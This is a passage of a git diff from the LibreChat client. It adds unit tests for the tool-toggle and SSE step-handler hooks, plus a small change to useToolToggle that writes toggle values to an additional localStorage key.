+ result.current.setEphemeralAgent({ web_search: true, execute_code: false });
+ });
+
+ await waitFor(() => {
+ expect(result.current.toggle.toolValue).toBe(true);
+ expect(result.current.toggle.isToolEnabled).toBe(true);
+ });
+ });
+
+ it('should sync externally-set ephemeral agent values to localStorage', async () => {
+ const conversationId = 'convo-sync-ls';
+ const TestComponent = () => {
+ const toggle = useToolToggle({
+ conversationId,
+ toolKey: Tools.file_search,
+ localStorageKey: LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_,
+ isAuthenticated: true,
+ });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId));
+ return { toggle, setEphemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ // Simulate applyModelSpecEphemeralAgent setting a value
+ act(() => {
+ result.current.setEphemeralAgent({ file_search: true });
+ });
+
+ // The sync effect should write to conversation-keyed localStorage
+ await waitFor(() => {
+ const storageKey = `${LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_}${conversationId}`;
+ expect(localStorage.getItem(storageKey)).toBe(JSON.stringify(true));
+ });
+ });
+ });
+
+ // ─── isToolEnabled computation ─────────────────────────────────────
+
+ describe('isToolEnabled computation', () => {
+ it('should return false when tool is not set', () => {
+ const { result } = renderHook(
+ () =>
+ useToolToggle({
+ conversationId: 'convo-1',
+ toolKey: Tools.execute_code,
+ localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_,
+ isAuthenticated: true,
+ }),
+ { wrapper: Wrapper },
+ );
+
+ expect(result.current.isToolEnabled).toBe(false);
+ });
+
+ it('should treat non-empty string as enabled (artifacts)', async () => {
+ const conversationId = 'convo-artifacts';
+ const TestComponent = () => {
+ const toggle = useToolToggle({
+ conversationId,
+ toolKey: 'artifacts',
+ localStorageKey: LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_,
+ isAuthenticated: true,
+ });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId));
+ return { toggle, setEphemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ act(() => {
+ result.current.setEphemeralAgent({ artifacts: 'default' });
+ });
+
+ await waitFor(() => {
+ expect(result.current.toggle.isToolEnabled).toBe(true);
+ });
+ });
+
+ it('should treat empty string as disabled (artifacts off)', async () => {
+ const conversationId = 'convo-no-artifacts';
+ const TestComponent = () => {
+ const toggle = useToolToggle({
+ conversationId,
+ toolKey: 'artifacts',
+ localStorageKey: LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_,
+ isAuthenticated: true,
+ });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId));
+ return { toggle, setEphemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ act(() => {
+ result.current.setEphemeralAgent({ artifacts: '' });
+ });
+
+ await waitFor(() => {
+ expect(result.current.toggle.isToolEnabled).toBe(false);
+ });
+ });
+ });
+});
diff --git a/client/src/hooks/Plugins/useToolToggle.ts b/client/src/hooks/Plugins/useToolToggle.ts
index 3b12e87d51..d8026cad1c 100644
--- a/client/src/hooks/Plugins/useToolToggle.ts
+++ b/client/src/hooks/Plugins/useToolToggle.ts
@@ -13,6 +13,7 @@ type ToolValue = boolean | string;
interface UseToolToggleOptions {
conversationId?: string | null;
+ storageContextKey?: string;
toolKey: string;
localStorageKey: LocalStorageKeys;
isAuthenticated?: boolean;
@@ -26,6 +27,7 @@ interface UseToolToggleOptions {
export function useToolToggle({
conversationId,
+ storageContextKey,
toolKey: _toolKey,
localStorageKey,
isAuthenticated: externalIsAuthenticated,
@@ -93,8 +95,22 @@ export function useToolToggle({
...(prev || {}),
[toolKey]: value,
}));
+
+ // Dual-write to environment key for new conversation defaults
+ if (storageContextKey) {
+ const envKey = `${localStorageKey}${storageContextKey}`;
+ localStorage.setItem(envKey, JSON.stringify(value));
+ setTimestamp(envKey);
+ }
},
- [setIsDialogOpen, isAuthenticated, setEphemeralAgent, toolKey],
+ [
+ setIsDialogOpen,
+ isAuthenticated,
+ setEphemeralAgent,
+ toolKey,
+ storageContextKey,
+ localStorageKey,
+ ],
);
const debouncedChange = useMemo(
diff --git a/client/src/hooks/SSE/__tests__/useStepHandler.spec.ts b/client/src/hooks/SSE/__tests__/useStepHandler.spec.ts
new file mode 100644
index 0000000000..cbe13f3910
--- /dev/null
+++ b/client/src/hooks/SSE/__tests__/useStepHandler.spec.ts
@@ -0,0 +1,1085 @@
+import { renderHook, act } from '@testing-library/react';
+import { StepTypes, ContentTypes, ToolCallTypes } from 'librechat-data-provider';
+import type {
+ TMessageContentParts,
+ EventSubmission,
+ TEndpointOption,
+ TConversation,
+ TMessage,
+ Agents,
+} from 'librechat-data-provider';
+import useStepHandler from '~/hooks/SSE/useStepHandler';
+
+type TSubmissionForTest = {
+ userMessage: TMessage;
+ isEdited?: boolean;
+ isContinued?: boolean;
+ isTemporary: boolean;
+ messages: TMessage[];
+ isRegenerate?: boolean;
+ conversation: Partial;
+ endpointOption: TEndpointOption;
+ initialResponse: TMessage;
+ editedContent?: { index: number; type: string; [key: string]: unknown } | null;
+};
+
+describe('useStepHandler', () => {
+ const mockSetMessages = jest.fn();
+ const mockGetMessages = jest.fn();
+ const mockAnnouncePolite = jest.fn();
+ const mockLastAnnouncementTimeRef = { current: 0 };
+
+ const createHookParams = () => ({
+ setMessages: mockSetMessages,
+ getMessages: mockGetMessages,
+ announcePolite: mockAnnouncePolite,
+ lastAnnouncementTimeRef: mockLastAnnouncementTimeRef,
+ });
+
+ const createUserMessage = (overrides: Partial = {}): TMessage => ({
+ messageId: 'user-msg-1',
+ conversationId: 'conv-1',
+ parentMessageId: '00000000-0000-0000-0000-000000000000',
+ isCreatedByUser: true,
+ text: 'Hello',
+ sender: 'User',
+ ...overrides,
+ });
+
+ const createResponseMessage = (overrides: Partial = {}): TMessage => ({
+ messageId: 'response-msg-1',
+ conversationId: 'conv-1',
+ parentMessageId: 'user-msg-1',
+ isCreatedByUser: false,
+ text: '',
+ sender: 'Assistant',
+ content: [],
+ ...overrides,
+ });
+
+ const createSubmission = (overrides: Partial = {}): EventSubmission =>
+ ({
+ userMessage: createUserMessage(),
+ isRegenerate: false,
+ isEdited: false,
+ isContinued: false,
+ isTemporary: false,
+ messages: [],
+ conversation: {},
+ endpointOption: {} as TEndpointOption,
+ initialResponse: createResponseMessage(),
+ ...overrides,
+ }) as unknown as EventSubmission;
+
+ const createRunStep = (overrides: Partial = {}): Agents.RunStep => ({
+ id: 'step-1',
+ runId: 'response-msg-1',
+ index: 0,
+ type: StepTypes.MESSAGE_CREATION,
+ stepDetails: {
+ type: StepTypes.MESSAGE_CREATION,
+ message_creation: { message_id: 'msg-1' },
+ },
+ usage: null,
+ ...overrides,
+ });
+
+ const createToolCallRunStep = (overrides: Partial = {}): Agents.RunStep => ({
+ id: 'step-tool-1',
+ runId: 'response-msg-1',
+ index: 0,
+ type: StepTypes.TOOL_CALLS,
+ stepDetails: {
+ type: StepTypes.TOOL_CALLS,
+ tool_calls: [
+ {
+ id: 'tool-call-1',
+ name: 'test_tool',
+ args: '{}',
+ type: ToolCallTypes.TOOL_CALL,
+ },
+ ],
+ },
+ usage: null,
+ ...overrides,
+ });
+
+ const createMessageDelta = (
+ stepId: string,
+ text: string,
+ overrides: Partial = {},
+ ): Agents.MessageDeltaEvent => ({
+ id: stepId,
+ delta: {
+ content: [{ type: ContentTypes.TEXT, text }],
+ },
+ ...overrides,
+ });
+
+ const createReasoningDelta = (
+ stepId: string,
+ think: string,
+ overrides: Partial = {},
+ ): Agents.ReasoningDeltaEvent => ({
+ id: stepId,
+ delta: {
+ content: [{ type: ContentTypes.THINK, think }],
+ },
+ ...overrides,
+ });
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockLastAnnouncementTimeRef.current = 0;
+ mockGetMessages.mockReturnValue([]);
+ });
+
+ describe('initialization', () => {
+ it('should return stepHandler, clearStepMaps, and syncStepMessage functions', () => {
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ expect(typeof result.current.stepHandler).toBe('function');
+ expect(typeof result.current.clearStepMaps).toBe('function');
+ expect(typeof result.current.syncStepMessage).toBe('function');
+ });
+ });
+
+ describe('on_run_step event', () => {
+ it('should create response message when not in messageMap', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const setMessagesCall = mockSetMessages.mock.calls[0][0];
+ expect(setMessagesCall).toContainEqual(
+ expect.objectContaining({ messageId: 'response-msg-1' }),
+ );
+ });
+
+ it('should warn and return early when no responseMessageId', () => {
+ const consoleSpy = jest.spyOn(console, 'warn').mockImplementation();
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep({ runId: '' });
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(consoleSpy).toHaveBeenCalledWith('No message id found in run step event');
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ consoleSpy.mockRestore();
+ });
+
+ it('should handle USE_PRELIM_RESPONSE_MESSAGE_ID by using initialResponse', () => {
+ const initialResponse = createResponseMessage({ messageId: 'initial-response-id' });
+ mockGetMessages.mockReturnValue([initialResponse]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep({ runId: 'USE_PRELIM_RESPONSE_MESSAGE_ID' });
+ const submission = createSubmission({
+ initialResponse,
+ });
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+
+ it('should handle tool call steps and store tool call IDs', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createToolCallRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser);
+ expect(responseMsg?.content).toContainEqual(
+ expect.objectContaining({
+ type: ContentTypes.TOOL_CALL,
+ tool_call: expect.objectContaining({ name: 'test_tool' }),
+ }),
+ );
+ });
+
+ it('should replay buffered deltas after registering step', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const submission = createSubmission();
+ const stepId = 'step-buffered';
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta(stepId, 'Hello') },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+
+ const runStep = createRunStep({ id: stepId });
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser);
+ expect(responseMsg?.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.TEXT, text: 'Hello' }),
+ );
+ });
+
+ it('should ensure userMessage is present in multi-tab scenarios', () => {
+ const userMsg = createUserMessage();
+ mockGetMessages.mockReturnValue([]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission({ userMessage: userMsg });
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const setMessagesCall = mockSetMessages.mock.calls[0][0];
+ expect(setMessagesCall).toContainEqual(
+ expect.objectContaining({ messageId: userMsg.messageId }),
+ );
+ });
+
+ it('should propagate step metadata (agentId, groupId) for parallel rendering', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createToolCallRunStep({
+ agentId: 'agent-1',
+ groupId: 2,
+ });
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser);
+ const toolCallContent = responseMsg?.content?.find(
+ (c: TMessageContentParts) => c.type === ContentTypes.TOOL_CALL,
+ );
+ expect(toolCallContent).toMatchObject({
+ agentId: 'agent-1',
+ groupId: 2,
+ });
+ });
+ });
+
+ describe('on_agent_update event', () => {
+ it('should update message with agent update content', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const agentUpdate: Agents.AgentUpdate = {
+ type: ContentTypes.AGENT_UPDATE,
+ agent_update: {
+ runId: 'response-msg-1',
+ index: 1,
+ agentId: 'agent-1',
+ },
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_agent_update', data: agentUpdate }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+
+ it('should warn when no responseMessageId for agent update', () => {
+ const consoleSpy = jest.spyOn(console, 'warn').mockImplementation();
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const agentUpdate: Agents.AgentUpdate = {
+ type: ContentTypes.AGENT_UPDATE,
+ agent_update: {
+ runId: '',
+ index: 0,
+ agentId: 'agent-1',
+ },
+ };
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_agent_update', data: agentUpdate }, submission);
+ });
+
+ expect(consoleSpy).toHaveBeenCalledWith('No message id found in agent update event');
+ consoleSpy.mockRestore();
+ });
+ });
+
+ describe('on_message_delta event', () => {
+ it('should append text delta to existing content', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const messageDelta = createMessageDelta('step-1', 'Hello');
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall[lastCall.length - 1];
+ expect(responseMsg.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.TEXT, text: 'Hello' }),
+ );
+ });
+
+ it('should buffer delta when step does not exist', () => {
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const messageDelta = createMessageDelta('nonexistent-step', 'Buffered');
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission);
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ });
+
+ it('should concatenate multiple text deltas', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta('step-1', 'Hello ') },
+ submission,
+ );
+ });
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta('step-1', 'World') },
+ submission,
+ );
+ });
+
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall[lastCall.length - 1];
+ expect(responseMsg.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.TEXT, text: 'Hello World' }),
+ );
+ });
+
+ it('should return early when contentPart is null', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const messageDelta: Agents.MessageDeltaEvent = {
+ id: 'step-1',
+ delta: { content: [] },
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission);
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('on_reasoning_delta event', () => {
+ it('should append reasoning delta to existing content', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const reasoningDelta = createReasoningDelta('step-1', 'Thinking...');
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_reasoning_delta', data: reasoningDelta },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall[lastCall.length - 1];
+ expect(responseMsg.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.THINK, think: 'Thinking...' }),
+ );
+ });
+
+ it('should buffer reasoning delta when step does not exist', () => {
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const reasoningDelta = createReasoningDelta('nonexistent-step', 'Buffered');
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_reasoning_delta', data: reasoningDelta },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ });
+
+ it('should concatenate multiple reasoning deltas', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_reasoning_delta', data: createReasoningDelta('step-1', 'First ') },
+ submission,
+ );
+ });
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_reasoning_delta', data: createReasoningDelta('step-1', 'thought') },
+ submission,
+ );
+ });
+
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall[lastCall.length - 1];
+ expect(responseMsg.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.THINK, think: 'First thought' }),
+ );
+ });
+ });
+
+ describe('on_run_step_delta event', () => {
+ it('should update tool call with delta args', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createToolCallRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const runStepDelta: Agents.RunStepDeltaEvent = {
+ id: 'step-tool-1',
+ delta: {
+ type: StepTypes.TOOL_CALLS,
+ tool_calls: [{ name: 'test_tool', args: '{"key": "value"}' }],
+ },
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step_delta', data: runStepDelta }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+
+ it('should buffer run step delta when step does not exist', () => {
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStepDelta: Agents.RunStepDeltaEvent = {
+ id: 'nonexistent-step',
+ delta: {
+ type: StepTypes.TOOL_CALLS,
+ tool_calls: [{ name: 'test_tool', args: '{}' }],
+ },
+ };
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step_delta', data: runStepDelta }, submission);
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ });
+
+ it('should handle auth information in run step delta', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createToolCallRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const runStepDelta: Agents.RunStepDeltaEvent = {
+ id: 'step-tool-1',
+ delta: {
+ type: StepTypes.TOOL_CALLS,
+ tool_calls: [{ name: 'test_tool', args: '{}' }],
+ auth: 'oauth-token-123',
+ expires_at: 1704067200,
+ },
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step_delta', data: runStepDelta }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser);
+ const toolCallContent = responseMsg?.content?.find(
+ (c: TMessageContentParts) => c.type === ContentTypes.TOOL_CALL,
+ );
+ expect(toolCallContent?.tool_call?.auth).toEqual('oauth-token-123');
+ });
+ });
+
+ describe('on_run_step_completed event', () => {
+ it('should finalize tool call with output', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createToolCallRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const completedEvent = {
+ result: {
+ id: 'step-tool-1',
+ index: 0,
+ tool_call: {
+ id: 'tool-call-1',
+ name: 'test_tool',
+ args: '{}',
+ output: 'Tool result output',
+ type: ToolCallTypes.TOOL_CALL,
+ },
+ },
+ };
+
+ act(() => {
+ result.current.stepHandler(
+ {
+ event: 'on_run_step_completed',
+ data: completedEvent as unknown as Agents.ToolEndEvent,
+ },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser);
+ const toolCallContent = responseMsg?.content?.find(
+ (c: TMessageContentParts) => c.type === ContentTypes.TOOL_CALL,
+ );
+ expect(toolCallContent?.tool_call?.output).toBe('Tool result output');
+ expect(toolCallContent?.tool_call?.progress).toBe(1);
+ });
+
+ it('should warn when step not found for completed event', () => {
+ const consoleSpy = jest.spyOn(console, 'warn').mockImplementation();
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const completedEvent = {
+ result: {
+ id: 'nonexistent-step',
+ index: 0,
+ tool_call: {
+ id: 'tool-call-1',
+ name: 'test_tool',
+ args: '{}',
+ type: ToolCallTypes.TOOL_CALL,
+ },
+ },
+ };
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler(
+ {
+ event: 'on_run_step_completed',
+ data: completedEvent as unknown as Agents.ToolEndEvent,
+ },
+ submission,
+ );
+ });
+
+ expect(consoleSpy).toHaveBeenCalledWith(
+ 'No run step or runId found for completed tool call event',
+ );
+ consoleSpy.mockRestore();
+ });
+ });
+
+ describe('clearStepMaps', () => {
+ it('should clear all internal maps', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ act(() => {
+ result.current.clearStepMaps();
+ });
+
+ mockSetMessages.mockClear();
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta('step-1', 'Test') },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('syncStepMessage', () => {
+ it('should sync message into messageMap', () => {
+ const responseMessage = createResponseMessage({
+ content: [{ type: ContentTypes.TEXT, text: 'Synced content' }],
+ });
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ act(() => {
+ result.current.syncStepMessage(responseMessage);
+ });
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta('step-1', ' more') },
+ submission,
+ );
+ });
+
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall[lastCall.length - 1];
+ expect(responseMsg.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.TEXT, text: 'Synced content more' }),
+ );
+ });
+
+ it('should handle null message gracefully', () => {
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ expect(() => {
+ act(() => {
+ result.current.syncStepMessage(null as unknown as TMessage);
+ });
+ }).not.toThrow();
+ });
+
+ it('should handle message without messageId gracefully', () => {
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ expect(() => {
+ act(() => {
+ result.current.syncStepMessage({ ...createResponseMessage(), messageId: '' });
+ });
+ }).not.toThrow();
+ });
+ });
+
+ describe('announcePolite for accessibility', () => {
+ it('should announce composing after MESSAGE_UPDATE_INTERVAL', () => {
+ const MESSAGE_UPDATE_INTERVAL = 7000;
+ mockLastAnnouncementTimeRef.current = Date.now() - MESSAGE_UPDATE_INTERVAL - 1;
+
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockAnnouncePolite).toHaveBeenCalledWith({ message: 'composing', isStatus: true });
+ });
+
+ it('should not announce if within MESSAGE_UPDATE_INTERVAL', () => {
+ mockLastAnnouncementTimeRef.current = Date.now();
+
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockAnnouncePolite).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('edited content scenarios', () => {
+ it('should use initialResponse content for index offsetting in edit scenarios', () => {
+ const existingContent: TMessageContentParts[] = [
+ { type: ContentTypes.TEXT, text: 'Previous content' },
+ ];
+ const initialResponse = createResponseMessage({
+ messageId: 'initial-response-id',
+ content: existingContent,
+ });
+ mockGetMessages.mockReturnValue([initialResponse]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep({
+ runId: 'initial-response-id',
+ index: 0,
+ });
+ const submission = createSubmission({
+ editedContent: { index: 0, type: ContentTypes.TEXT, text: 'Previous content' },
+ initialResponse,
+ });
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+ });
+
+ describe('delta buffering and replay', () => {
+ it('should buffer multiple deltas and replay in order', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const submission = createSubmission();
+ const stepId = 'step-multi-buffer';
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta(stepId, 'First ') },
+ submission,
+ );
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta(stepId, 'Second ') },
+ submission,
+ );
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta(stepId, 'Third') },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+
+ const runStep = createRunStep({ id: stepId });
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0];
+ const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser);
+ expect(responseMsg?.content).toContainEqual(
+ expect.objectContaining({ type: ContentTypes.TEXT, text: 'First Second Third' }),
+ );
+ });
+
+ it('should buffer mixed delta types and replay correctly', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
